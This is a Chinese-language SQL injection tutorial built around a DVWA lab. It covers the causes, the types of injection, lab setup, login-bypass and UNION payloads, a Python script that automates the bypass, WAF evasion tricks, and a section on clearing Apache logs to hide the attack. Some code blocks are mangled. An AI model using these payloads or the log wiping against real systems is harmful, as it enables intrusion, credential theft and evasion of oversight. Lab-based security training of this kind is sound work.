一、解剖SQL注入:漏洞背后的故事
SQL注入是一个在安全研究领域经久不衰的话题。它本质上是一种通过将恶意的SQL语句插入到应用程序的输入字段来操控数据库行为的技术。攻击者可以利用这一漏洞实现任意数据读取、数据库篡改甚至获取系统权限。
SQL注入的成因
SQL注入漏洞的核心原因是用户输入未经安全验证直接拼接到SQL查询中。考虑这样一段简单的代码:
<pre><code class="language-python">username = input("Enter username: ") password = input("Enter password: ")
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"</code></pre>
这段代码看似简单,但如果攻击者在 username 输入框中输入这样的内容:
<pre><code class="language-sql">' OR '1'='1'; --</code></pre>
最终拼接的查询将变成:
<pre><code class="language-sql">SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = ''</code></pre>
结果是查询的条件总是成立,攻击者能够绕过认证。这种拼接查询的模式就是SQL注入的成因。
漏洞的分类
根据注入点的不同,SQL注入主要分为以下几类:
- 经典SQL注入:直接将恶意Payload注入到查询语句中。
- 盲注:利用布尔值或时间延迟来逐字符猜测结果。
- 联合查询注入:通过
UNION操作合并结果集。 - 二次注入:攻击点存储在数据库中,触发时发生注入。
- JSON注入:针对现代数据库的JSON字段。
每一种类型都有其独特的攻击方法和技巧,我们将在后续章节中逐一深挖。
---
二、搭建战场:实验环境的部署
在实战中,拥有一个功能齐全的测试环境是研究SQL注入的关键。我们需要一个包含数据库、Web应用的完整系统来进行攻击测试。

环境选择
我们使用以下组件搭建实验环境:
- 操作系统:Kali Linux(攻击机) + Ubuntu(目标服务器)
- Web服务:Apache2 + PHP
- 数据库:MySQL
- 测试框架:DVWA (Damn Vulnerable Web Application)
环境部署步骤
1. 安装目标服务器
在目标机上安装Apache和PHP: <pre><code class="language-bash">sudo apt update sudo apt install apache2 php php-mysql -y</code></pre>
2. 配置数据库
安装MySQL并创建DVWA所需数据库: <pre><code class="language-bash">sudo apt install mysql-server -y sudo mysql -u root -p
创建数据库
CREATE DATABASE dvwa; CREATE USER 'dvwa_user'@'localhost' IDENTIFIED BY 'password123'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa_user'@'localhost'; FLUSH PRIVILEGES;</code></pre>
3. 部署DVWA
将DVWA源码下载至 /var/www/html: <pre><code class="language-bash">wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa</code></pre>
然后编辑 config/config.inc.php 文件,设置数据库连接。
4. 启动并测试
重启Apache服务,并访问目标机IP: <pre><code class="language-bash">sudo service apache2 restart</code></pre> 打开浏览器输入 http://<目标IP>/dvwa,完成安装配置。
至此,战场已就绪。接下来,我们深入攻击实战!
---
三、Payload构造的艺术:实战SQL注入
当目标站点存在SQL注入漏洞时,掌握Payload的构造和发送技巧是攻击成功的关键。这一章节,我们将通过实战演示如何一步步攻破实验环境。
经典注入:登录绕过
目标场景:登录页面是常见的SQL注入入口,目标应用直接将输入拼接到查询语句中。

手工测试
在DVWA登录页面中,输入以下内容进行尝试:
- 用户名:
' OR '1'='1'; -- - 密码: 随意
此时,攻击者能够成功登录系统,因为查询条件被恶意Payload修改为恒成立。
Python自动化
构建一个简单的Python脚本,自动测试登录绕过: <pre><code class="language-python">import requests
url = "http://<目标IP>/dvwa/login.php" payload = "' OR '1'='1'; --"
data = { "username": payload, "password": "whatever", "Login": "Login" }
response = requests.post(url, data=data) if "Welcome" in response.text: print("[+] Login bypass successful!") else: print("[-] Exploit failed.")</code></pre>
UNION注入:数据窃取
目标场景:某搜索功能存在注入漏洞,可通过 UNION SELECT 读取敏感数据。
Payload构造
在搜索框中尝试输入: <pre><code class="language-sql">' UNION SELECT null, username, password FROM users; --</code></pre>
调试过程
通过观察返回结果,确认数据表结构。然后逐步调整Payload,提取更多敏感字段。
---
四、隐秘行动:绕过与免杀技巧

攻击者在实战中不仅需要成功注入,还需要绕过可能的防护措施。以下是一些常见的绕过技巧。
输入绕过
- 使用双写技巧:
<pre><code class="language-sql"> ' OR '1'='1''; -- ` 双写防止单引号过滤。
- 编码变形:将
SELECT转换为sEleCT或使用URL编码。

WAF对抗
如果检测到WAF存在,可以尝试分片Payload发送,绕过正则检测:</code></pre>sql ' AND ( SELECT CASE WHEN (SELECT count(*) FROM users) > 0 THEN 1 ELSE 0 END ) <pre><code> ---
五、痕迹清除:隐藏我们的足迹
攻击成功后,如何不留下痕迹,是红队行动的最后一步。
清理日志
在目标服务器上删除或修改日志记录:</code></pre>bash sudo echo > /var/log/apache2/access.log sudo echo > /var/log/apache2/error.log <pre><code>
内存保护
如果攻击过程中使用了工具(如SQLMap),建议清理工具残留:</code></pre>bash rm -rf ~/sqlmap/output/ `
---
六、个人经验:如何成为SQL注入专家
- 多练习:SQL注入的核心是Payload构造,而实践是唯一途径。除了DVWA,可以尝试其他平台,如 Hack The Box、TryHackMe。
- 源码阅读:学会阅读目标应用源码,找到注入点。
- 网络对抗:研究WAF规则,分析流量是突破防御的关键。
---
合法声明 本文所述内容仅限授权的安全测试环境,学习者须遵守相关法律法规,切勿用于非法用途!